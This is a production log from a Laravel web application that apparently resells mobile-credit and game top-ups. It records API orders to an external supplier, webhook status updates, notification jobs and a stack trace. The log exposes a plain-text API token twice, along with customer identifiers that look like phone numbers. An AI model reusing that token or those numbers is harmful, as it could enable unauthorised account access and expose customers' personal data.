[2026-03-24 12:52:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=741b0966-6a8e-4d6e-a57d-77c5b2de667f&Player_ID=0983898551  
[2026-03-24 12:52:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=741b0966-6a8e-4d6e-a57d-77c5b2de667f&Player_ID=0983898551","has_body":false} 
[2026-03-24 12:52:54] production.INFO: Operation sent successfully {"operation_id":163552,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WZv70D-1774345974","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:52:54"}},"processed_data":{"order_number":"ORD-WZv70D-1774345974","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:52:55] production.INFO: Constructing job for order: 178628  
[2026-03-24 12:52:57] production.INFO: Handling job for order: 178628  
[2026-03-24 12:52:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:52:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:52:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=36b0de9c-afff-4f37-bdc5-223f2e9b7071&Player_ID=0939024897  
[2026-03-24 12:52:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=36b0de9c-afff-4f37-bdc5-223f2e9b7071&Player_ID=0939024897","has_body":false} 
[2026-03-24 12:52:58] production.INFO: Operation sent successfully {"operation_id":163553,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ch0MDCz-1774345978","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:52:58"}},"processed_data":{"order_number":"ORD-ch0MDCz-1774345978","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:53:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sVjbXZ9n-1774345973","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:53:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-sVjbXZ9n-1774345973","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:53:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:53:07] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178626} 
[2026-03-24 12:53:07] production.INFO: Order updated successfully. Order ID: 178626, Status: completed  
[2026-03-24 12:53:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sVjbXZ9n-1774345973","status":"completed","codes_count":0} 
[2026-03-24 12:53:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 12:53:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GwtT-1774345809","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:53:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-GwtT-1774345809","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:53:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:53:10] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178620} 
[2026-03-24 12:53:10] production.INFO: Order updated successfully. Order ID: 178620, Status: completed  
[2026-03-24 12:53:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GwtT-1774345809","status":"completed","codes_count":0} 
[2026-03-24 12:53:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 12:53:58] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 12:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01"} 
[2026-03-24 12:54:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","total_operations":4,"sites_count":1} 
[2026-03-24 12:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","orders_count":4,"order_ids":["ORD-ixQHp-1774345941","ORD-PZhaz8-1774345945","ORD-WZv70D-1774345974","ORD-ch0MDCz-1774345978"]} 
[2026-03-24 12:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:54:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 12:54:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 12:54:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 12:54:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"count":4} 
[2026-03-24 12:54:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"count":4} 
[2026-03-24 12:54:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"user_id":1597,"notification_type":"order_approved","reference_id":178628} 
[2026-03-24 12:54:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"user_id":1074,"notification_type":"order_approved","reference_id":178624} 
[2026-03-24 12:54:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"user_id":1074,"notification_type":"order_approved","reference_id":178625} 
[2026-03-24 12:54:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"user_id":1074,"notification_type":"order_approved","reference_id":178627} 
[2026-03-24 12:54:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:54:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:54:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"processed":4,"errors":0} 
[2026-03-24 12:54:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552,"processed":4,"errors":0} 
[2026-03-24 12:54:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"P63jE5kuyJFDNLtG9gEbCYZGaY5W8ln5","execution_time":"2026-03-24 12:54:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WZv70D-1774345974","operation_id":163552} 
[2026-03-24 12:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 12:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 12:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 12:54:06] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"request_approved","reference_id":18607} 
[2026-03-24 12:54:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 12:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:55:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:55:04] production.INFO: async() رجع: true  
[2026-03-24 12:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:55:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:55:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:55:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QvqfgpNKey3vkVgyZxDQXeGFR0au0KxU","execution_time":"2026-03-24 12:56:02"} 
[2026-03-24 12:56:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"QvqfgpNKey3vkVgyZxDQXeGFR0au0KxU","execution_time":"2026-03-24 12:56:02"} 
[2026-03-24 12:56:57] production.INFO: Constructing job for order: 178629  
[2026-03-24 12:56:59] production.INFO: Handling job for order: 178629  
[2026-03-24 12:56:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:56:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:56:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=ee78afef-9069-4d4e-bfbd-75f1fef20864&Player_ID=0956084103  
[2026-03-24 12:56:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=ee78afef-9069-4d4e-bfbd-75f1fef20864&Player_ID=0956084103","has_body":false} 
[2026-03-24 12:57:00] production.INFO: Operation sent successfully {"operation_id":163554,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Lcn-1774346220","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:57:00"}},"processed_data":{"order_number":"ORD-Lcn-1774346220","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03"} 
[2026-03-24 12:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","total_operations":1,"sites_count":1} 
[2026-03-24 12:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-Lcn-1774346220"]} 
[2026-03-24 12:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 12:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 12:58:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 12:58:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"count":1} 
[2026-03-24 12:58:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"count":1} 
[2026-03-24 12:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"user_id":7,"notification_type":"order_approved","reference_id":178629} 
[2026-03-24 12:58:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
